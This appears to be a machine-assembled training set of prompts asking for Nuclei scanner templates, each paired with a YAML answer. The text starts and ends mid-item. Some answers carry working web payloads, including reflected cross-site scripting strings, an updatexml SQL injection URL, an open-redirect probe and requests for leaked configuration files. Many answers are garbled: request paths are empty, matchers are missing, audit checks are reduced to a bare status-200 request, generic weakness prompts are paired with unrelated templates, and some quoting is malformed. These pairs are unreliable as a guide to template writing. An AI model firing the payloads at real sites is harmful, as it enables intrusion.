Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: esmtp-detect

info:
  name: ESMTP - Detect
  author: pussycat0x,userdehghani
  severity: info
  description: ESMTP was detected.
  tags: network,detect,smtp,mail,detection,tcp,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2012-4889

Input:
Title: Cross-Site Scripting (XSS) in manageengine firewall_analyzer
Summary: Multiple cross-site scripting (XSS) vulnerabilities in ManageEngine Firewall Analyzer 7.2 allow remote attackers to inject arbitrary web script or HTML via the (1) subTab or (2) tab parameter to createAnomaly.do; (3) url, (4) subTab, or (5) tab parameter to mindex.do; (6) tab parameter to index2.do; or (7) port parameter to syslogViewer.do.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: manageengine firewall_analyzer
Indicators: error, vulnerability detected

Output:
id: CVE-2012-4889

info:
  name: ManageEngine Firewall Analyzer 7.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in ManageEngine Firewall Analyzer 7.2 allow remote attackers to inject arbitrary web script or HTML via the (1) subTab or (2) tab parameter to createAnomaly.do; (3) url, (4) subTab, or (5) tab parameter to mindex.do; (6) tab parameter to index2.do; or (7) port parameter to syslogViewer.do.
  tags: cve,cve2012,xss,manageengine,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/fw/syslogViewer.do?port=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Shiziyu CMS Api Controller - SQL Injection

Input:
Title: Shiziyu CMS Api Controller - SQL Injection
Summary: Shiziyu CMS Api Controller - SQL Injection. Shiziyu CMS ApiController.class.php parameter filtering is not rigorous, resulting in SQL injection vulnerability.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: shiziyu-cms-apicontroller-sqli

info:
  name: Shiziyu CMS Api Controller - SQL Injection
  author: SleepingBag945
  severity: high
  description: Shiziyu CMS ApiController.class.php parameter filtering is not rigorous, resulting in SQL injection vulnerability.
  tags: sqli,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5({{num}}),0x7e),1)"
    matchers:
      - type: word
        words:
          - "c8c605999f3d8352d7bb792cf3fdb25"
        part: body
      - type: status
        status:
          - 404


Instruction: Generate a Nuclei template for: CloudFront Traffic To Origin Unencrypted

Input:
Title: CloudFront Traffic To Origin Unencrypted
Summary: CloudFront Traffic To Origin Unencrypted. Ensure that the communication between your Amazon CloudFront distributions and their custom origins is encrypted using HTTPS in order to secure the delivery of your web content and fulfill compliance requirements for encryption in transit.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: cloudfront-traffic-unencrypted

info:
  name: CloudFront Traffic To Origin Unencrypted
  author: DhiyaneshDK
  severity: medium
  description: Ensure that the communication between your Amazon CloudFront distributions and their custom origins is encrypted using HTTPS in order to secure the delivery of your web content and fulfill compliance requirements for encryption in transit.
  tags: cloud,devops,aws,amazon,cloudfront,aws-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-28290

Input:
Title: Cross-Site Scripting (XSS) in welaunch wordpress_country_selector
Summary: Reflective Cross-Site Scripting vulnerability in WordPress Country Selector Plugin Version 1.6.5. The XSS payload executes whenever the user tries to access the country selector page with the specified payload as a part of the HTTP request
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: welaunch wordpress_country_selector
Indicators: error, vulnerability detected

Output:
id: CVE-2022-28290

info:
  name: WordPress Country Selector <1.6.6 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Country Selector plugin prior to 1.6.6 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the country and lang parameters before outputting them back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  tags: cve,cve2022,wordpress-country-selector,wpscan,wp,wordpress,wp-plugin,xss,welaunch,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "<img src=x onerror=alert(document.domain)>"
          - "country_selector_"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: CloudTrail Log Integrity Validation not Enabled

Input:
Title: CloudTrail Log Integrity Validation not Enabled
Summary: CloudTrail Log Integrity Validation not Enabled. Ensure CloudTrail log file integrity validation is enabled to detect unauthorized file modifications.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: cloudtrail-log-integrity

info:
  name: CloudTrail Log Integrity Validation not Enabled
  author: princechaddha
  severity: high
  description: Ensure CloudTrail log file integrity validation is enabled to detect unauthorized file modifications.
  tags: cloud,devops,aws,amazon,cloudtrail,aws-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: WordPress license file disclosure

Input:
Title: WordPress license file disclosure
Summary: WordPress license file disclosure. Leaked WordPress license file.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wp-license-file

info:
  name: WordPress license file disclosure
  author: yashgoti
  severity: info
  description: Leaked WordPress license file.
  tags: wordpress,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/license.txt"
    matchers:
      - type: word
        words:
          - "WordPress - Web publishing software"
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: cisco-ios-xe-panel

info:
  name: Cisco IOS XE - Detect
  author: bhutch
  severity: info
  description: Cisco IOS XE login panel was detected.
  tags: panel,cisco,ssl,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: slant

info:
  name: Slant User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Slant user name information check was conducted.
  tags: osint,osint-shopping,slant,discovery

http:
  - method: GET
    path:
      - "https://www.slant.co/users/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "s Profile - Slant"
        part: body


Instruction: Generate a Nuclei template for: Aurora Snapshot Tag Copy

Input:
Title: Aurora Snapshot Tag Copy
Summary: Aurora Snapshot Tag Copy. Ensures Amazon Aurora clusters have Copy Tags to Snapshots feature enabled to automatically copy tags from clusters to snapshots.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: aurora-copy-tags-snap

info:
  name: Aurora Snapshot Tag Copy
  author: princechaddha
  severity: high
  description: Ensures Amazon Aurora clusters have Copy Tags to Snapshots feature enabled to automatically copy tags from clusters to snapshots.
  tags: cloud,devops,aws,amazon,aurora,rds,aws-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Cookie Consent Detection

Input:
Title: Cookie Consent Detection
Summary: Cookie Consent Detection. This template detects the presence of cookie consent forms

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: cookie-consent-detection

info:
  name: Cookie Consent Detection
  author: rxerium
  severity: info
  description: This template detects the presence of cookie consent forms
  tags: headless,cookie,detect,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2019-2767

Input:
Title: Unknown Vulnerability in oracle bi_publisher
Summary: Vulnerability in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware (subcomponent: BI Publisher Security). The supported version that is affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise BI Publisher (formerly XML Publisher). While the vulnerability is in BI Publisher (formerly XML Publisher), attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of BI Publisher (formerly XML Publisher) accessible data as well as unauthorized read access to a subset of BI Publisher (formerly XML Publisher) accessible data. CVSS 3.0 Base Score 7.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).
Vulnerability Type: Unknown Vulnerability
Severity: high
Affected Products: oracle bi_publisher
Indicators: unauthorized

Output:
id: CVE-2019-2767

info:
  name: Oracle Business Intelligence Publisher - XML External Entity Injection
  author: madrobot
  severity: high
  description: Oracle Business Intelligence Publisher is vulnerable to an XML external entity injection attack. The supported versions affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via HTTP to compromise BI Publisher.
  tags: cve,cve2019,edb,oracle,xxe,oast,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "http"
        part: interactsh_protocol


Instruction: Generate a Nuclei template for: HP iLO

Input:
Title: HP iLO
Summary: HP iLO. Version of HP iLO. Tags: tech, ilo, discovery
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: ilo-detect

info:
  name: HP iLO
  author: milo2012
  severity: info
  description: Version of HP iLO
  tags: tech,ilo,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/xmldata?item=all"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "text/xml"
        part: header
      - type: word
        words:
          - "<RIMP>"
          - "<HSI>"
        condition: and


Instruction: Generate a Nuclei template for: Finicity Client Secret

Input:
Title: Finicity Client Secret
Summary: Finicity Client Secret. Tags: exposure, finicity, file
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: finicity-clientsecret

info:
  name: Finicity Client Secret
  author: DhiyaneshDK
  severity: info
  description: Finicity Client Secret
  tags: exposure,finicity,file,token,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: WordPress adivaha Travel Plugin 2.3 - SQL Injection

Input:
Title: WordPress adivaha Travel Plugin 2.3 - SQL Injection
Summary: WordPress adivaha Travel Plugin 2.3 - SQL Injection. An unauthenticated Time-Based SQL injection found in adivaha Travel Plugin 2.3 allows a remote attacker to retrieve the contents of an entire database.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: wp-adivaha-sqli

info:
  name: WordPress adivaha Travel Plugin 2.3 - SQL Injection
  author: theamanrawat
  severity: high
  description: An unauthenticated Time-Based SQL injection found in adivaha Travel Plugin 2.3 allows a remote attacker to retrieve the contents of an entire database.
  tags: time-based-sqli,sqli,adivaha,wordpress,wp,wp-plugin,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Prometheus Monitoring System - Unauthenticated

Input:
Title: Prometheus Monitoring System - Unauthenticated
Summary: Prometheus Monitoring System - Unauthenticated. Detects unauthenticated access to Prometheus Time Series Collection and Processing Server by checking for specific elements in the response from the `/graph` endpoint.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: prometheus-unauth

info:
  name: Prometheus Monitoring System - Unauthenticated
  author: pussycat0x
  severity: high
  description: Detects unauthenticated access to Prometheus Time Series Collection and Processing Server by checking for specific elements in the response from the `/graph` endpoint.
  tags: unauth,prometheus,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/config"
      - "{{BaseURL}}/api/v1/status/config"
    matchers:
      - type: word
        words:
          - "global:"
          - "scrape_configs:"
          - "scrape_interval"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: cpanel-api-codes

info:
  name: cPanel API Codes Panel - Detect
  author: DhiyaneshDK
  severity: info
  description: cPanel API Codes panel was detected.
  tags: panel,cpanel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>CPanel - API Codes</title>"
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: auto-usb-install

info:
  name: Fortinet Auto USB Installation Enabled - Detect
  author: pussycat0x
  severity: info
  description: Via Fortinet Auto USB installation, an attacker with physical access to a FortiGate can load a new configuration or firmware using the USB port, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: audit,config,file,firewall,fortigate

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-3990

Input:
Title: Cross-Site Scripting (XSS) in mingsoft mcms
Summary: A vulnerability classified as problematic has been found in Mingsoft MCMS up to 5.3.1. This affects an unknown part of the file search.do of the component HTTP POST Request Handler. The manipulation of the argument style leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-235611.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: low
Affected Products: mingsoft mcms
Indicators: error, vulnerability detected

Output:
id: CVE-2023-3990

info:
  name: Mingsoft MCMS < 5.3.1 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: A vulnerability classified as problematic has been found in Mingsoft MCMS up to 5.3.1. This affects an unknown part of the file search.do of the component HTTP POST Request Handler. The manipulation of the argument style leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-235611.
  tags: cve,cve2023,mingsoft,mcms,xss,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "mingsoft.net"
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "<ScRiPt>alert(document.domain)</ScRiPt>alert"
        part: body
      - type: word
        words:
          - "text/html"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-22207

Input:
Title: Vulnerability (CWE-1188) in smartbear swagger_ui
Summary: fastify-swagger-ui is a Fastify plugin for serving Swagger UI.  Prior to 2.1.0, the default configuration of `@fastify/swagger-ui` without `baseDir` set will lead to all files in the module's directory being exposed via http routes served by the module.  The vulnerability is fixed in v2.1.0. Setting the `baseDir` option can also work around this vulnerability.
Vulnerability Type: Vulnerability (CWE-1188)
Severity: medium
Affected Products: smartbear swagger_ui
Indicators: error, vulnerability detected

Output:
id: CVE-2024-22207

info:
  name: Fastify Swagger-UI - Information Disclosure
  author: DhiyaneshDK,iamnoooob
  severity: medium
  description: fastify-swagger-ui is a Fastify plugin for serving Swagger UI.  Prior to 2.1.0, the default configuration of `@fastify/swagger-ui` without `baseDir` set will lead to all files in the module's directory being exposed via http routes served by the module.  The vulnerability is fixed in v2.1.0. Setting the `baseDir` option can also work around this vulnerability.
  tags: cve,cve2024,swagger-ui,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/documentation/playwright.config.js"
    matchers:
      - type: word
        words:
          - "module.exports"
          - "defineConfig"
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: LightStart – Maintenance Mode, Coming Soon and Landing Page Builder Detection

Input:
Title: LightStart – Maintenance Mode, Coming Soon and Landing Page Builder Detection
Summary: LightStart – Maintenance Mode, Coming Soon and Landing Page Builder Detection
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wordpress-wp-maintenance-mode

info:
  name: LightStart – Maintenance Mode, Coming Soon and Landing Page Builder Detection
  author: ricardomaia
  severity: info
  description: LightStart – Maintenance Mode, Coming Soon and Landing Page Builder Detection
  tags: tech,wordpress,wp-plugin,top-200,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-maintenance-mode/readme.txt"
    matchers:
      - type: dsl
      - type: regex
        part: body


Instruction: Generate a Nuclei template for: Data Execution Prevention (DEP) Not Enabled

Input:
Title: Data Execution Prevention (DEP) Not Enabled
Summary: Data Execution Prevention (DEP) Not Enabled. Checks if Data Execution Prevention (DEP) is not fully enabled for all programs.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: windows-dep-disabled

info:
  name: Data Execution Prevention (DEP) Not Enabled
  author: princechaddha
  severity: high
  description: Checks if Data Execution Prevention (DEP) is not fully enabled for all programs.
  tags: windows,security,dep,code,windows-audit

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2020-23015

Input:
Title: Vulnerability (CWE-601) in opnsense opnsense
Summary: An open redirect issue was discovered in OPNsense through 20.1.5. The redirect parameter "url" in login page was not filtered and can redirect user to any website.
Vulnerability Type: Vulnerability (CWE-601)
Severity: medium
Affected Products: opnsense opnsense
Indicators: error, vulnerability detected

Output:
id: CVE-2020-23015

info:
  name: OPNsense <=20.1.5 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: OPNsense through 20.1.5 contains an open redirect vulnerability via the url redirect parameter in the login page, which is not filtered. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: cve2020,cve,redirect,opnsense,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?url=http://interact.sh"
    matchers:
      - type: regex
        part: header


Instruction: Generate a Nuclei template for: Apache Shenyu Gateway Management System - Detect

Input:
Title: Apache Shenyu Gateway Management System - Detect
Summary: Apache Shenyu Gateway Management System - Detect. Detects a Apache Shenyu Gateway Management System, a Java native API Gateway for service proxy, protocol conversion and API governance.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: apache-shenyu-detect

info:
  name: Apache Shenyu Gateway Management System - Detect
  author: icarot
  severity: info
  description: Detects a Apache Shenyu Gateway Management System, a Java native API Gateway for service proxy, protocol conversion and API governance.
  tags: tech,shenyu,apache,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Apache ShenYu Gateway</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: ChatGPT Web - Unauthorized Access

Input:
Title: ChatGPT Web - Unauthorized Access
Summary: ChatGPT Web - Unauthorized Access. ChatGPT Web is exposed.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: chatgpt-web-unauth

info:
  name: ChatGPT Web - Unauthorized Access
  author: SleepingBag945
  severity: high
  description: ChatGPT Web is exposed.
  tags: chatgpt,unauth,misconfig,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""status":"Success""
          - ""auth":false"
          - "ChatGPTAPI"
        part: body
        condition: and
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2020-24912

Input:
Title: Cross-Site Scripting (XSS) in qcubed qcubed
Summary: A reflected cross-site scripting (XSS) vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: qcubed qcubed
Indicators: error, vulnerability detected

Output:
id: CVE-2020-24912

info:
  name: QCube Cross-Site-Scripting
  author: pikpikcu
  severity: medium
  description: A reflected cross-site scripting vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.
  tags: cve2020,cve,qcubed,xss,seclists,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/assets/_core/php/profile.php"
      - "{{BaseURL}}/assets/php/profile.php"
      - "{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php"
    matchers:
      - type: word
        words:
          - "<script>alert('xss')</script>"
        part: body
      - type: word
        words:
          - "Content-Type: text/html"
        part: header


Instruction: Generate a Nuclei template for: macOS SUID/SGID Files Detection

Input:
Title: macOS SUID/SGID Files Detection
Summary: macOS SUID/SGID Files Detection. Discovers files with SUID or SGID permissions in user-writable directories (/usr/local, /opt, /Applications) that could be exploited for privilege escalation if misconfigured or vulnerable.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: suid-sgid-files

info:
  name: macOS SUID/SGID Files Detection
  author: geeknik
  severity: high
  description: Discovers files with SUID or SGID permissions in user-writable directories (/usr/local, /opt, /Applications) that could be exploited for privilege escalation if misconfigured or vulnerable.
  tags: macos,audit,local,security,privesc

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Content-Security-Policy Bypass - Quantserve SegAPI

Input:
Title: Content-Security-Policy Bypass - Quantserve SegAPI
Summary: Content-Security-Policy Bypass - Quantserve SegAPI
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: quantserve-segapi-csp-bypass

info:
  name: Content-Security-Policy Bypass - Quantserve SegAPI
  author: renniepak,DhiyaneshDK
  severity: medium
  description: Content-Security-Policy Bypass - Quantserve SegAPI
  tags: xss,csp-bypass,quantserve-segapi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Content-Security-Policy"
          - "quantserve.com"
        part: header
        condition: and


Instruction: Generate a Nuclei template for: Uservoice Takeover Detection

Input:
Title: Uservoice Takeover Detection
Summary: Uservoice Takeover Detection. Uservoice takeover was detected.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: uservoice-takeover

info:
  name: Uservoice Takeover Detection
  author: MiryangJung
  severity: high
  description: Uservoice takeover was detected.
  tags: takeover,uservoice,hackerone,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: dsl
      - type: word
        words:
          - "This UserVoice subdomain is currently available!"


Instruction: Generate a Nuclei template for CVE-2021-24987

Input:
Title: Cross-Site Scripting (XSS) in heateor super_socializer
Summary: The Social Share, Social Login and Social Comments Plugin WordPress plugin before 7.13.30 does not sanitise and escape the urls parameter in its the_champ_sharing_count AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: heateor super_socializer
Indicators: error, vulnerability detected

Output:
id: CVE-2021-24987

info:
  name: WordPress Super Socializer <7.13.30 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Super Socializer plugin before 7.13.30 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the urls parameter in its the_champ_sharing_count AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response.
  tags: cve2021,cve,wpscan,xss,wp,wp-plugin,wordpress,heateor,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]=<img%20src=x%20onerror=alert(document.domain)>"
    matchers:
      - type: word
        words:
          - "{"facebook_urls":[["<img src=x onerror=alert(document.domain)>"]]"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Openweb UI Panel - Detect

Input:
Title: Openweb UI Panel - Detect
Summary: Openweb UI Panel - Detect. An OpenWebUI panel was detected

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: openwebui-panel

info:
  name: Openweb UI Panel - Detect
  author: rxerium
  severity: info
  description: An OpenWebUI panel was detected
  tags: panel,openwebui,login,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Open WebUI</title>"
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: POP3 Security Checks

Input:
Title: POP3 Security Checks
Summary: POP3 Security Checks. A simple workflow that runs all POP3 related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: pop3-workflow

info:
  name: POP3 Security Checks
  author: pussycat0x
  severity: info
  description: A simple workflow that runs all POP3 related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Pega Infinity Detection

Input:
Title: Pega Infinity Detection
Summary: Pega Infinity Detection. Tags: tech, pega, discovery
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: pega-detect

info:
  name: Pega Infinity Detection
  author: sshell
  severity: info
  description: Pega Infinity Detection
  tags: tech,pega,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs"
    matchers:
      - type: word
        words:
          - ""description" :"The Pega API"
        part: body
      - type: status
        status:
          - 200
      - type: word
        words:
          - "application/json"
        part: header


Instruction: Generate a Nuclei template to detect Insufficiently Protected Credentials

Input:
Title: Insufficiently Protected Credentials (CWE-522)
Summary: The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
Vulnerability Type: Insufficiently Protected Credentials
Severity: medium
Indicators: unauthorized

Output:
id: gophish-default-login

info:
  name: Gophish < v0.10.1 Default Credentials
  author: arcc,dhiyaneshDK
  severity: high
  description: For versions of Gophish > 0.10.1, the temporary administrator credentials are printed in the logs when you first execute the Gophish binary.
  tags: gophish,default-login,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Insufficiently Protected Credentials

Input:
Title: Insufficiently Protected Credentials (CWE-522)
Summary: The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
Vulnerability Type: Insufficiently Protected Credentials
Severity: medium
Indicators: unauthorized

Output:
id: dbeaver-credentials

info:
  name: DBeaver - Credentials Discovery
  author: geeknik,j4vaovo
  severity: medium
  description: DBeaver credentials were discovered.
  tags: exposure,dbeaver,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: AWS S3 keys Leak

Input:
Title: AWS S3 keys Leak
Summary: AWS S3 keys Leak. AWS S3 keys are exposed.. Tags: aws, s3, wordpress
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: wpconfig-aws-keys

info:
  name: AWS S3 keys Leak
  author: r12w4n
  severity: high
  description: AWS S3 keys are exposed.
  tags: aws,s3,wordpress,disclosure,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-config.php-backup"
      - "{{BaseURL}}/%c0"
    matchers:
      - type: word
        words:
          - "access-key-id"
          - "secret-access-key"
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and


Instruction: Generate a Nuclei template for: Tongda OA v11.8 logincheck_code.php - Authentication Bypass

Input:
Title: Tongda OA v11.8 logincheck_code.php - Authentication Bypass
Summary: Tongda OA v11.8 logincheck_code.php - Authentication Bypass. There is a login bypass vulnerability in Tongda OA v11.8 logincheck_code.php, through which an attacker can log in to the system administrator background

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: tongda-login-code-authbypass

info:
  name: Tongda OA v11.8 logincheck_code.php - Authentication Bypass
  author: SleepingBag945
  severity: high
  description: There is a login bypass vulnerability in Tongda OA v11.8 logincheck_code.php, through which an attacker can log in to the system administrator background
  tags: tongda,authbypass,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Prestashop Installer Exposure

Input:
Title: Prestashop Installer Exposure
Summary: Prestashop Installer Exposure. Prestashop is susceptible to the Installation page exposure due to misconfiguration.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: prestashop-installer

info:
  name: Prestashop Installer Exposure
  author: tess
  severity: high
  description: Prestashop is susceptible to the Installation page exposure due to misconfiguration.
